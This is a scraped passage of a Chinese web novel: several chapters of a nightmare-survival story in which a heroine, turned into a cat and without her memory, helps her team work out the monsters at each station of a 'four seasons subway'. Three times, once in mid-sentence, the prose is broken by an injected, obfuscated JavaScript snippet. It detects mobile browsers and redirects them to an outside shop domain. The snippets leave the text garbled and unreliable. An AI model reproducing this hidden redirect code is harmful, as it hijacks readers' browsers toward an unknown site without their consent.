那就无法请唐玉鉴定用途了,毕竟只有单独个体的道具才能鉴定,和玩家无法分离的道具,往往是一次性用品。 唐玉遗憾,毕竟这是个难得的抱大腿的机会。 其他人趁这个机会,也做了一番自我介绍,纪雅音听下来,这次噩梦的大部分共梦者长期在C和D级噩梦求生,技能也比较朴实无华,比如能够把液体转化为饮用水、识图记路能力等。 只有纪雅音、朝云、王修齐和唐玉,在此之前有过B级及以上噩梦求生的经历,技能也相对有用。 啊,对了,朝云的技能正适合现在呢—— “朝云,”纪雅音问,“你现在是只能喵喵叫?还能正常说话吗?” 朝云也很想说话,但她开口不是“咪”就是“喵”,尝试两回之后,只能遗憾地摇头。 纪雅音摸了摸可爱的小猫,可惜道:“那好吧,估计你也没法用技能找到南姐她们三个,唔,没关系,反正会遇到的。” 南姐她们三个? 现在记忆一片空白的朝云默默记下了这句话,看来以前自己和她们很熟悉。 唔,这么算下来,那就一共是五个人。 纪雅音低声说:“我们就在地铁上坐着吧,现在还没抵达终点站,看系统脸色,只有在终点站,系统才会释放任务。” 老实说,纪雅音不喜欢任务型噩梦。 一个原因是,这种噩梦的通关方式比较单一,除了填满死亡人数,就只能通过完成任务通关,不像求生型噩梦,只要在噩梦里活够7天就行——有时候动手杀死所有敌人也是一种存活。 纪雅音、宁洛、上官雁,她们三个都比较适应这种节奏。 第二个原因,任务型噩梦经常会出现人形鬼怪,受技能限制,恐怖谷效应对她影响巨大,这是纪雅音最苦手的部分。 “算了,”纪雅音琢磨半天放弃了,心想,“南姐会处理好的。” 动脑子的事情实在不是她的强项。 想到这儿,纪雅音屈指蹭了蹭朝云的下巴,笑眯眯道:“对了朝云,大家知道了一定很开心,为了换你一个复活的机会,我们梭.哈了全部家当跟boss做交易,好在你真的活过来了。” 哪怕现在变成了猫也没关系,能活着就很好。 朝云歪了歪头:“喵……?” 可她什么都不记得了。 有一群不认识的人曾经为了她的命倾尽所有吗? 她看得出来,纪雅音是真的很高兴,所以朝云隐隐觉得自己应当回应些什么,但她脑中还是一片空白。 不像经典热血漫的走向,只要喊着友情啊、羁绊啊之类的,失忆的伙伴就会马上经历神奇的大记忆恢复术,然后大家就快乐地包饺子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17534217|203775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 她还是什么都想不起来。 朝云有些无措。 地铁播报声再度响起了。 “夏巳路到了,开左边门。” “上下车当心缝隙,请注意脚下安全,门灯闪烁时,请勿上下车。” 所有车厢的门都打开了,一号车厢同样如此。 但车内面对着站台的玻璃像拉了窗帘似的,刚刚就被雏菊人的血糊满了,单纯透过窗户,根本看不见外面。 此刻,车门打开。 可是还没来得及看清外面的场景,聒噪的蝉鸣声就炸了开来,响彻整个车厢。 纪雅音眉头紧锁,立刻用手捂住了两个耳朵,车厢内的其他人也是如此。 她看了眼旁边的小猫,朝云直接把头埋在纪雅音衣服里,两个前爪也努力盖上耳朵。 和她们出发的站台相同,一号车厢进来的是人类,其他车厢则陆续有外面的怪物进来—— 难怪外面这么吵,这一站进来的怪物是蝉头人,巨大的蝉长在了人的颈项上,取代了头的位置,大声嚷嚷着进入车厢中。 所有的蝉都在激烈地鸣叫,整列地铁吵得人头疼欲裂。 纪雅音头疼欲裂。 “这叫声不对劲!”王修齐此刻大喊,“尽量不要听这个叫声,有隔音道具快点用!越好斗的人越容易失去理智!” 纪雅音咬着牙,都不用王修齐提醒,她自己也发现了,蝉鸣声带来一股狂躁的愤怒。 朝云也在咬着牙,蝉鸣声中,她脑中闪过一些画面,有人笑着拿刀杀了谁,有人恨恨地盯着谁,有人满脸是血却求生无门,有人被多次重塑,最终却失去自我…… 朝云觉得莫名其妙,她作为一个记忆尽失的人,啊不,记忆尽失的猫,哪来这么多苦大仇深的奇妙瞬间。 就在此时,忽然有人打了个清脆的响指,蝉鸣声立时被隔绝。 车厢里所有人都瘫倒在座位上。纪雅音红着眼抬头,看见了一个熟悉的身影。 背着长刀,身着劲装,还有一缕刘海挡住了左眼。 “宁洛?” 宁洛也看见了纪雅音。 她没立刻过来,先拍了拍身边人的肩膀:"小程,继续隔绝这个车厢的噪音。跟着姐,包赢的。" 被叫做小程的人崇拜地看着宁洛,点头如捣蒜。 宁洛这才迈步走向纪雅音,伸手把她拉起来,还有心情打趣:"老纪啊老纪,这也太狼狈了。怎么就你自己,朝云的尸体呢?" 纪雅音扶着还在嗡鸣的头,还没来得及介绍朝云,车厢内变故突生。 原本一号车厢只有共梦者会上车,但是有只蝉头人径直走进了车厢。 在众人诧异的目光中,蝉头人用乌黑的圆眼睛扫了遍所有人,开口,发出无法抵抗的聒噪蝉鸣。 就连负责降噪的小程都脸色一变——他发现自己丝毫挡不住这个蝉头人的声音。 车厢里好几个人同时站了起来。王修齐和另一个男人已经扭打在一起。 宁洛的眼神也变了。 宁洛这个性格,受蝉鸣影响十分严重,她登时失了神智,抽出了背后长刀,手起刀落,朝着离她最近的朝云砍去。 4. 遗书写给何人 朝云刚从蝉鸣声中恢复神志,眼睁睁就看着一把长刀对着她的小猫脑袋砍来。 来不及躲,她只见旁边栗色长发的漂亮美人箭步上前,是纪雅音。 纪雅音一个抬臂,那条手臂在扬起的瞬间变了色,竟然直接用这只手臂挡住了这一刀。 压下蝉鸣声鼓动起来的奋争欲.望,纪雅音强稳心神,用技能强化了左臂,硬生生接了宁洛一刀。 “当——” 小猫震惊! 朝云怀疑自己幻听了,纪雅音直接用肉身挡刀?为什么会发出这种金属碰撞的声音? 而且,预想中的血流如注和断臂重伤的画面并未出现,纪雅音只是衣角微脏。 她先用左臂正面接了宁洛一刀,又瞬间强化了右手,硬生生上去握住了宁洛的刀刃,宁洛眯起眼,见武器被控制住,杀意更浓。 她扭头冲小程喊:“有没有办法单独帮助宁洛屏蔽蝉鸣!不然她能杀光全车啊!” 小程迅速琢磨办法,终于在纪雅音快要扛不住宁洛的长刀之前,搓出一个透明泡泡丢过去,泡泡精准挂在了宁洛头上。 但是搓完了这个泡泡,他就力竭地半跪在地:“我不行了,歇、歇会儿……” 而在宁洛这边,没了蝉鸣干扰,她也逐渐恢复神志,刚才的杀意荡然无存。 与此同时,车厢失去小程的技能降噪,蝉头人的叫声再次毫无防备地冲击全车人的神经。 这回,连纪雅音都没抗住,众人这回也齐刷刷地动起手来。 虽然和纪雅音没有直接沟通过,但苏醒过来的宁洛立刻理解了队友的意图,完美衔接上了纪雅音的后续任务。凭着超高的武力值,宁洛用系统的绳索道具,三下五除二地物理隔离发狂的众人,就近绑在柱子上。 不过,在绑人的过程中,宁洛看见第二节车厢有个穿着厚实校服的小女孩好奇地探头看她。 宁洛吓了一跳,揉揉眼睛再看,女孩儿又消失了。 我眼花啦? 宁洛想,这破蝉鸣声竟然还能控制看到的东西,恐怖如斯! 她甩甩头,没太在意,直接继续绑下一位。 现在车上15个人,每个人都被绑在一个柱子旁边,距离超远,非常和谐,想打都打不起来。 只是失去理智的纪雅音比较难缠,这会儿一个劲儿往宁洛身上撞,这谁能顶得住?纪雅音在团队中可是肉盾定位啊。 还有纪雅音身边那只小白猫,一直试图往她身上扑来咬她—— 力竭的小程看出宁洛也焦头烂额,无力道:“你还行吗姐,我已经顶不住了!” 宁洛让自己冷静下来,如果是朝云和南明芮在这里就好了,她们一定能够发现重要的求生关键。 如果她们在,会说什么? 宁洛,快想啊! 她们五个经常打趣地说一句话,叫做“绝境看宁洛”。 虽然现在人还没到齐,但宁洛还是被这句话激励,使命感在此刻直冲天灵感,一瞬间,仿佛请神请到了团队大脑,还真让宁洛想到一个关键之处。 ——这是个运行中的地铁啊。 宁洛一边躲避纪雅音的攻击,一边大声对小程道:“没事,再撑一段时间就行。” 她思索着,同时利落地偏头,躲过了纪雅音的飞踢。 没错,这是个地铁,虽然不知道为什么在站台停了这么久,但既然是地铁,就一定有关门的时候,门一关,外面那些蝉鸣声自然会被隔绝了。 仿佛是在印证她的想法,外面突然挤进来另一只蝉头人,它手臂上戴着红袖章,是在站台维持纪律的列车员。 它和刚才进来那只蝉头人忽然开始“交流”,像是在谴责这只蝉头人上错了车厢。 只是面对这无法隔绝的蝉鸣双重奏,让车厢里所有人更加发狂。 刚才被宁洛绑在座位上的几个人,全部都想要挣开绳子,纪雅音更是难对付极了。 直到两只蝉头人交流完毕,前后脚离开车厢,车门才终于关上。 随后,地铁播报响起。 “车门即将关闭,请携带通行证的旅客坐在位置上,列车即将出发,行驶期间请勿走动、喧哗、打闹,感谢您的配合。” 宁洛大喊:“小程!” 好不容易休息好的小程,再次打起精神,为两节车厢的交界处,重新覆盖上降噪技能。 后车虽然也进了一些蝉头人,但毕竟数量不多,只维持这一层技能对小程而言并不难。 与此同时,地铁车门关闭,大部分的声音终于被隔绝。 在地铁的晃荡中,刚才发狂的十五人和一只猫都逐渐归于平静。 虽然众人耳朵都还是嗡嗡的。 宁洛和纪雅音瘫坐在一起,而朝云被纪雅音抱在怀里,两人一猫都燃尽了。 可是这个噩梦才刚开始啊…… 谁曾想这个噩梦这么难,在没收到正式任务目标之前,不仅死了人,而且还消耗了这么多精力。 宁洛挠头:“哎!以前的B级噩梦也没这么难搞啊,这个噩梦到底是什么情况。” 刚缓过来的纪雅音有些无语:“因为以前我们是五个人啊,每次朝云和南姐都能超快确定通关策略,但是现在就咱们俩了。” 听了这话,宁洛猛地坐起来:“对啊,朝云的尸体呢?我们从上个A级噩梦传送过来的时候,朝云的尸体不是和你绑在一起了吗?在哪呢在哪呢?你不会把朝云弄丢了吧?” 纪雅音叹了口气,重新坐直,举起怀里的小猫咪:“你瞧……” 她晃了晃被举起的小猫。 “朝云在这里呢。” 宁洛与小猫咪蓝色的双眼对视。 小猫回望她。 因为被举起来,所以朝云整只猫被拉成了猫条形状,随着纪雅音晃悠,她被拉长的肚肚和后腿都悠悠哉哉地画着圈。可爱小猫与地铁中沉闷的氛围格格不入。 宁洛后仰:“嘶——” 纪雅音抱住了朝云。 “你真是朝云?”宁洛不敢置信。 朝云:“喵。” 宁洛捂住头,刚才的英勇一扫而空:“完了!我们团队的左右脑!有一半!变成猫了!” 朝云歪头,团队大脑?以前的她这么厉害吗? 宁洛不死心地问:“朝云,那你还能用技能吗?” 还没等朝云回复,纪雅音就泼了盆冷水:“当然不行了,她现在怎么用技能……她只能咪咪喵喵啊。” 朝云抬头,正想从她俩这边了解一下自己以前到底是什么技能,这时列车员再次出现了。 这回两名列车员是蝉头人,只是它们不像其他蝉头人那样鸣叫,安静顺畅地核查完所有人的通行证,就往下一节车厢去了。 车厢里终于安静下来。十五个人惊魂未定地互相看看——刚才那波蝉鸣差点把大家全送走,现在耳朵里还嗡嗡作响。 确认那两个蝉头人列车员已经走远,众人这才敢开口。 王修齐清了清嗓子,试探性地看向纪雅音和宁洛。 这两位可是南明芮团队的人,正常情况下哪轮得到他说话。 不过,看她们俩一个在揉耳朵一个在发呆,完全没有要动脑子的意思,王修齐咬咬牙,决定硬着头皮上。 “那个……我先抛砖引玉一下?”他小心翼翼地开口。 纪雅音抬眼看他,点了点头。 宁洛直接一摆手:“说,大胆说。” 王修齐松了口气。 “各位,现在我们都可以明确一个事情——”王修齐伸出一个手指头,“那就是每一站的变异乘客都是最危险的,第一站是雏菊人,碰到它的花朵就会变成它的花盆,第二站是蝉头人,叫声能够让人丧失理智。” 众人纷纷点头。 王修齐看了一眼纪雅音和宁洛,见她俩也点头,稍微放下了心,看来大佬没觉得他说的有问题,于是继续:“但是,就现在的情况来看,我们要往冬亥路去领任务,应该还要在地铁上呆两站。” 角落里有人挠挠头,表示懵圈:“你怎么知道是两站,这不是地铁吗?正常一条地铁线路得有十几个站台吧。” “只是一种猜测,”王修齐托着下巴,认真地说,“这个噩梦的名字叫做四季地铁,是吧?” 正有人想回答,忽然地铁颠簸了一下,众人猛地紧张起来,有的人手里已经捏住了关键道具。 不过最后并没有发生什么事,只是地铁离开了站台,进入了黑暗之中,就像在前一站一样。 一进黑暗,地铁内的灯光自动亮起,惨白的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17534218|203775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灯光照在每个人的脸上,后面车厢坐着的还都是形形色色的危险怪物,原本稍微缓解的紧张情绪,此刻又弥漫在众人之间。 宁洛一拍手:“我懂了,四季地铁,所以是春夏秋冬四站,对吗?” 她嗓门挺大的,这陡然一开口给大家吓了一跳,但是看她翘着二郎腿双手抱胸,颇为高兴的样子,好像地铁环境完全影响不到她。 王修齐也稍微回过神了,听见宁洛的猜测,又说:“对,除了这个原因,还有就是刚才的路名叫做夏巳路,系统说,终点站叫做冬亥路。” 宁洛眨眨眼:“夏和冬,这也是季节的词,哦,所以路名也是线索?还有两站应该是春和秋咯?朝云,你怎么看——” 宁洛下意识看向了纪雅音怀里的小猫猫。 朝云:“……”她还能怎么看,咪咪喵喵地看呗,她现在又说不了话。 不过王修齐提到的路名线索,其实不止季节,不知道有没有人能发现。 朝云下意识想—— 夏巳路、冬亥路,第二个字都是取自十二时辰,而且巳是第六时辰,亥是第十二时辰。 按这个规律,雏菊人那一站应该是春寅路,下一站是秋申路,分别对应第三、第九时辰。 等等。 朝云一愣,她是怎么知道这些东西的? 宁洛等了半天,才意识到朝云真的说不了话,她对此感到非常遗憾:“朝云啊,你不说话我真的不明白你的意思。” 坐在车厢里的唐玉看到了这一幕,意识到这是个抱大腿的好机会,她飞快地翻了一下自己的背包,还真发现了一个能用上的东西。 “我,我有一个小道具,名字是‘劣质翻译器’,或许可以试一下,能不能翻译出来猫猫的意思?”唐玉大胆问。 这边的两人一猫和唐玉对视了一眼,当机立断:“行!” 劣质翻译器是个胸针一样的东西,掰断胸针分别放到两个人身上,就能进行简单的翻译工作。 这是个一次性道具,但唐玉也没心疼,毕竟品级都写在脸上了——劣质! 唐玉掰断了胸针,在众人的手中一个个传递过去,直到送到纪雅音手里。 纪雅音把掰断的胸针别再了朝云的通行证旁边。 唐玉握着另一半胸针,看着那边的猫猫,谨慎地介绍道:“那个,这个翻译器效果也没那么好,可能没办法翻译出来完整的句子,猫、呃,猫姐,您可以在心里试着重复关键词,我试试看道具能否发动成功。” 朝云被猫姐这个称呼先是无语了一下,随后就按照唐玉的建议,试图在心里念着一个词。 没过多久,唐玉就大着胆子问:“是、是时间吗?” 朝云看向她,有点关联,但不准确,所以她摇了摇头。 唐玉与猫猫又对视了一会儿,问:“是季节?” 猫猫还是摇头。 试了好几次,唐玉才磕磕绊绊地问出朝云心中那个关键词:“时辰?十二时辰?” 终于对了! 猫猫肯定地连连点头。 十二时辰是什么意思? 众人皱眉思索了一下,还是唐玉,她突然明白了朝云的意思。 “站名?”她问,“是指站名的线索吗,不止是季节,也有时辰的线索?” 众人恍然大悟。 王修齐语速飞快地补充了接下来的推论:“所以,四季地铁经过的四站分别是春寅路、夏巳路、秋申路、冬亥路?” 对十二时辰不太了解的人互相介绍了一下,也明白了猫猫的思路。 不愧是两位大佬联手保护的猫,果然非同寻猫啊。 大家都看着朝云,期待它能用这个劣质翻译器再说些什么来。 唐玉也激动地问:“那,猫姐,你对下一站的变异乘客有什么猜想吗?” “先等等!” 地铁上,忽然有个人大声打断了她们之间的翻译过程。 众人不解地看向他,却发现后者脸色惨白,像是想到了什么极其可怕的事情。 “季节、时辰。”他惨白着脸,地铁内头顶惨白的灯管打到他的脸上,显得他的眼袋很重,仿佛疯癫了一般。 “你们,有没有人研究过论坛上的那个噩梦,关键词是时间的B级噩梦。” 5. 遗书写给何人 关键词是时间的B级噩梦? 车厢里忽然安静下来,像有人把音量旋钮一把拧到了底。 朝云甚至感觉到纪雅音撸她尾巴的手停住了。 片刻后,角落里传来一个干涩的声音。 “……喂,你这么说,我有点印象。” 说话的是个中年男人,他脸色发白,嘴唇动了动,像是在犹豫要不要把脑子里那个念头说出来。 没有人接话。 但朝云注意到,有好几个人的表情几乎是同时变了,看来都明白他言下所指的是什么意思。 “别乌鸦嘴。”有人低声说。 中年男人苦笑了一声:“我也不想乌鸦嘴。但四季、时辰这些词凑在一起,你们第一个想到的不是那个吗?” 打什么哑谜呢,怎么大家突然就成了谜语人。 失忆的朝云左右看了看,完全不明白这种沉重的氛围从何而起。 宁洛的手肘撑在膝盖上,十指交叉顶着下巴,手臂上的肌肉绷得很紧——她在沉思着什么。 纪雅音倒是一副事不关己的样子,但朝云注意到她的手指无意识地捻着自己的衣角,捻了又松,松了又捻。 这两个人从见面起就没紧张过,但现在分明是有些紧张了。 车厢里有人倒吸了一口凉气:“难道这真是那个噩梦?” “哪个?”一个年轻男孩茫然地左右张望,和朝云一样,也受不了其他人谜语人的行为,“你们在说什么?哪个噩梦?” 没有人回答他。 半晌,还是王修齐开了口。 “论坛上有一个B级噩梦,只有关键词,没有大致通关方向。因为从来没被人通关过。而且所有进去的人,要么死在里头,要么被吐出来,共梦者们连噩梦的核心都没摸到过。” 他顿了顿。 “那个噩梦的关键词,就是‘时间’。” 年轻男孩愣住了。 “可、可是论坛上的攻略不是说——” “只有C级和D级噩梦才有攻略,你是不是还没解锁后面的层级?” 旁边一个扎马尾的女生打断了他,声音有点疲惫,像是在给新员工做入职培训的老员工:“被通关过一定次数,噩梦就会关闭,所以有人总结详细攻略。但B级以上——” “B级以上不会关闭。”王修齐接过话头,“有两个梦主,一个固定一个随机,每次生成都会变。攻略写太细反而害人。所以论坛上只有关键词和大致的通关方向。” 他看了一眼那个年轻男孩,苦笑:“所以,大家担心的是这一点。” “关键词为‘时间’的噩梦,连大致方向都没有,只能说明一件事,那就是噩梦中的共梦者死得太快了。甚至来不及收集更靠近任务核心的情报。” 车厢里像被人浇了一盆冰水。 朝云看见那个年轻男孩的脸一下子白了。他的嘴唇哆嗦了几下,挤出一句话:“我、我只通关过两次D级噩梦……我连C级都没进过……怎么会……” 没有人嘲笑他。 扎马尾的女生轻轻拍了拍他的肩膀:“谁都一样。谁能想到自己会倒在哪一站呢。” 大家都神色颓唐:“算了,都当共梦者了,看开点吧。” 朝云大概明白了大家的意思,总而言之,就是这个噩梦难度很高,一不留神就会死。 车厢中的气氛很是压抑。 “咳!咳!咳!” 突然宁洛开口了。 众人都看向她。 “好了家人们,先别急着垂头丧气,我们现在明明大有突破,怎么一点喜悦的样子都没有?”她大大咧咧道,“现在先别琢磨怎么通关的事情,不如回到我们面前的难题上——” 宁洛翘起二郎腿:“你们看,现在我们已经知道了,每一站的变异乘客才是最危险的,而且下一站是秋申路,我们现在最应该做的事情,不应该是赶紧准备应对下一站的变异乘客吗?” 其他人一愣。 刚才那个绝望的共梦者问:“你还在想着通关这个噩梦吗?” 宁洛莫名其妙:“那不然呢,等死也得走流程吧,八字还没一撇呢,就提前给自己埋了?赶紧的,既然已经有思路了就跟上大部队的节奏,来来来,继续推理秋季车站可能出现的变异乘客,真能提前找到应对方式,起码能多救下来下一站的人呢。” 宁洛像体育老师催促懒洋洋的学生们跑圈:“动起来动起来,关键时刻了,都别藏拙啊。” 大部队的节奏不是丧丧等死吗?什么时候又开始挣扎求生了。 不过宁洛话糙理不糙,压抑的氛围也因为她这句话松动起来。 就连纪雅音也点头,对宁洛的说法很认可。 见得到队友支持,宁洛更自信了。 她开朗地昂起头,拍了拍胸脯:“而且,真不一定会死,南明芮团队听说过没?我们的安全区积分在排行榜第二,我们都开荒了多少次B级噩梦,全部活着出来了,只管信我,包能带飞的。” 其他人都有点懵,安全区积分榜榜二吗?那确实有实力了。 现在被如此有活力的大佬鼓舞,也不好意思继续垂头丧气。 可是纪雅音属实没想到,宁洛说几句安慰话,居然还真以为自己行了,这就开始大放厥词——这可是时间B级噩梦啊,她一句包带飞就真能带飞吗? 纪雅音此刻只想抱着猫离宁洛远一点,宁洛吹牛最好别带上她和猫。 或许是想到还能救队友一命,王修齐也打起了精神,问道刚才的关键功臣:“那个,猫老师,您看有什么思路,可以再跟唐玉指导一下?” 朝·猫老师·云还真有思路,可是唐玉的劣质翻译器也是真不行,等她再次试图提点一个关键词时,胸针突然裂开了,然后再怎么尝试都无法投入使用。 真的很劣质。 朝云无奈,可恶,她什么时候能正常说话? 话说回来,刚才纪雅音和宁洛的对话也很令朝云在意,由于自己现在只会喵喵叫,所以无法正常使用技能,为什么? 失去了猫老师的支持,地铁上,其他十五名共梦者只好依赖自己,开始头脑风暴。 “什么东西和秋有关呢?” “……说到秋,就想到丰收,会不会下一站的变异乘客是大麦穗,见到人就丢麦子?” “啊?那、那该怎么抵挡?” 朝云坐在宁洛和纪雅音中间看着大家,长长的尾巴盘在爪子上。 她觉得推测出下一站的变异乘客还是挺简单的。 但问题是在翻译器挂掉的情况,应该怎么把自己的推论正确地传递给其他人。 思索片刻,朝云支起身子,前爪扶在纪雅音的胳膊上。 纪雅音不解地看她,就见小猫咪抬起爪爪,肉垫轻柔地搭在了她的鼻尖拍了拍,触感柔软轻盈,挠痒痒似的。 朝云歪头,期待地看着纪雅音。 怎么样,这么明显的暗示,应该能明白吧? 纪雅音和她对视后,好像懂了什么。 ——猫猫爱我? 她想。 宁洛转头,看着深情对视的一人一猫,莫名其妙:“怎么了?” “不知道,”纪雅音思忖后大胆猜测,“可能是小猫喜欢我吧。” 宁洛恍然大悟:“哦哦哦。” 哦什么? 是气味啊! 小猫怎么就喜欢你了?还见笑? 朝云震撼,这俩人没有一个能反应过来这个意思吗? 好在唐玉在翻译器爆了之后,还能继续发力。 “那个……猫猫的意思,是不是说,秋季站台的变异乘客,可能和气味有关?” “哦?” 朝云赞赏地看着唐玉,这个小姑娘还是很不错的,她想表达的正是这个意思。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17534219|203775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >朝云的思路很简单,秋天的代表事物那么多,不需要一一去匹配具体变异方向,再推测其攻击形式,那就是绕了一个大圈子。 她认为,直接思考它对共梦者的影响是什么,会更简单一些。 雏菊人,它们的花蕊中全是眼睛,毫无疑问,是与视力相关,尤其是标语提示了“不要践踏花花草草”,也是需要通过视力确认的信息。 蝉头人,吵闹的声音鼓动共梦者自相残杀,自然与听力相关。 在此情形下,她认为不应当把戴着红袖章的列车员算在考量之内,毕竟双方的职责不同。 所以按此类比,秋申路的变异乘客,很有可能和其他五感也挂钩,视、听、嗅、味、触,和秋天关联性最强的,恐怕就是嗅觉了。 纪雅音也反应过来了,恍然大悟:“对哦,是气味的意思!” 没想到事情又往下推进一步,宁洛再次爆发自信。 宁洛中气十足地问:“好了家人们,那我再问一下,谁有能在下一站派上用场的隔绝气味技能?就像小程能降噪一样。” 片刻后,有一个人在讨论时犹豫着说,自己的技能可以混淆气味,到时候可以试试看能不能起到作用。 而大家在车厢中的推论,也通过王修齐的通讯器,传达给了正在秋申路等待地铁进站的另一个队友。 王修齐面露喜色:“我队友说,下一站有两个人能派上用场,说不定不会有人死在变异乘客手上,而且第三站上车后,有三个人能派上用场,压力会很小很多。” 这算是一个好消息,活下来的人越多,留给任务的时间就越长,通关可能性也越大。 地铁上没有时钟,不知过了多久,地铁终于开始了下一站的播报。 “秋申路到了,开左边门。” “上下车当心缝隙,请注意脚下安全,门灯闪烁时,请勿上下车。” “就现在!” 王修齐大喊,他盯着通讯器。 “我队友说,站台上已经有桂花香味出现了!” 拥有混淆气味技能的共梦者,顿时在地铁列车的门框和两节车厢交接处设下技能。 车门打开的一瞬间,车厢里的众人立刻脸成猪肝色。 “我去!这什么味啊!” “不是吧姐姐,让你混淆气味,不是让你来熏死我们啊!” 那女生涨红了脸,大吼道:“我有什么办法!我就是喜欢吃榴莲啊!” 当时技能觉醒时,她脑子里只有“呜呜呜以后吃不到榴莲了,再也闻不到榴莲的香味了呜呜呜”,谁知道系统就给她发了个【把榴莲香味带给大家】的破技能啊! 救命! 再也不会喜欢榴莲了! 车厢里的人纷纷捂住鼻子,纪雅音也贴心地分出一只手帮小猫咪捂鼻子。 朝云猝不及防被捂住了鼻子>*<> 纪雅音捏着声音说:“朝云,我发现你的鼻子有点像特斯拉车标。” 朝云哽住。 列车车门打开后,后面的车厢,香喷喷的桂花人陆陆续续上车。 但是一号车厢门口,却迟迟没有人类上来。 谨慎起见,车厢里暂时还没有人站起来前去查看,但是王修齐已经在焦急地联系他的队友了。 “什么情况?”王修齐捏着鼻子问通讯器那边的队友,“你们怎么还不上车?” 通讯器那边的人应该说了什么,但因为道具限制,其他人无法听见王修齐队友的回复。 “你说什么?!” 王修齐脸色骤变,手指下意识攥紧了通讯器。 众人看向他。 通讯器那头似乎还在说,车厢里,大家只看见王修齐的嘴唇抿成一条线,神色挣扎。 几秒钟后,他关掉了通讯器。抬头,环顾了一圈车厢里的人。 王修齐站起来:“不好意思各位,我可能要先下车了。” 6. 遗书写给何人 宁洛想都没想,直接用长刀刀鞘拦住了他。 王修齐疑惑望过来时,她不赞同道:“你现在下去做什么,不去终点站领任务了?单纯去送命?” 宁洛是个仗义人,见不得别人死在自己面前,所以才会出手,纪雅音对此习惯了,但失忆的朝云看了宁洛好几眼。 看来这个姐姐挺性情的啊。 王修齐明白大佬的好意,叹气道:“可是,我不能不下去啊,我队友出事了,他、他就在秋申路,刚刚我们一直保持联系,我把车上人的推测都和他同步了。” “大佬,你也有队友,应该明白我的心情……” “五十个共梦者,分配在四个站台上,”王修齐低声道,“前两个站台分别是十个人,我队友说他们那一站的共梦者是二十个人……” “现在我才知道为什么秋申路会多出来十个人。” 众人安静看着他,等着他解释。 王修齐沉声说:“多出来的十个共梦者,无法乘坐从春到冬方向的列车,只能去对面站台,乘坐从冬到春的列车。” 他敲了敲通行证:“他们的通行证上,名字是镜像的。” “我的队友,就是其中之一。”王修齐道,“他必须要乘反方向的车,才能去冬亥站,我不能放任他一个人去反方向,我们的安全区……就剩我们俩了。” 宁洛抿了抿嘴,收回了刀鞘。 朝云看了一眼唐玉,她神色纠结,看来有话要问。 唐玉接收到猫猫的眼神后,只觉得自己的想法被看穿了,下意识就开口。 “可是,万一你只能乘坐这个方向的列车呢?”唐玉问,“如果只有通行证是镜像的共梦者,才能去乘坐对面站台的车子呢?” 王修齐摇了摇头:“应该不会,持镜像通行证的共梦者靠近候车区域,就被桂花人列车员杀死了两个,当时其他人都很害怕,退到楼梯那边一个个过去试探,才试探出了这一条规则。” “还有个脸色阴沉的女人,她通行证虽然是正常的,却非要和其他人一起去对面站台,也靠近了那边的站台,但列车员却没有拦她。” 所以,通行证是正向的,可以乘坐两个方向的地铁,但通行证是镜像的,就必须乘坐反向地铁。 车门黄灯闪烁,王修齐不再纠结,直接道:“各位,既然是个循环的地铁,那么无论如何都可以到终点站,我们就在终点站相见吧,后会有期。” 他郑重地和车上的人道了别,便大步下了地铁。 他下车之后没多久,紧接着就又有十个人惊魂未定地上了车。 有一个人闭着眼,用技能罩住上车的其他九人,脸色苍白,看上去消耗很大。 但是一上车后,榴莲姑娘的混淆气味技能起了作用,那个人的脸色稍微好了一些,直到车门平静关上。 “你们还好吧?”车厢里有人关心地问,“快坐下,等等会有列车员过来,到时候如果违反了乘车纪律,会被抹杀。” 上车的十个人感激地看着他,马上各自找位置坐下了。 其他人忍不住问:“你们这一站的变异乘客是桂花人?那它们的攻击方式是什么?” 这次虽然在地铁到站之前想到了应对方式,所以顺利地撑过了关车门前的时间,但是万一之后还要回来呢?毕竟是个地铁,不可能只去不回。 上来的十个人中,有个短发的女人向其他人解释。 “还要多谢你们在车上的情报,”她扯出个难看的笑,“说实话,就十分钟不到,我们也不清楚它具体的攻击方式是什么,应该确实和气味有关。有个人不相信车上的情报,所以没有及时跑到技能范围内,然后他就……” 见她说不下去,旁边的另一个人就接着补充:“哎,别提了,他用道具剖开胸膛后,伸手掏空了自己,然后被其他桂花人吃掉了。” 车厢里的人都有点懵:“什么叫做掏空自己?” “字面意思上的——”短发女人闭了闭眼,似乎不愿意回忆那个恶心的画面,“字面意义上的,用手,掏空了,自己。” 车厢中一片凝重。 虽然没有详细说出具体步骤,但是这番话足以让大家有个大概的画面了。 上车的共梦者中,还有人在小声交谈。 “你怎么了?在找谁?” 朝云的妙脆角耳朵动了动。 猫猫的脑袋虽然没转,但耳廓下意识朝向了交谈的方向。 有个人回答:“哦哦,没事,刚刚一直有个穿着校服的小女孩跟着我们,但是没有上车……我还以为是共梦者,看来是误会了。” 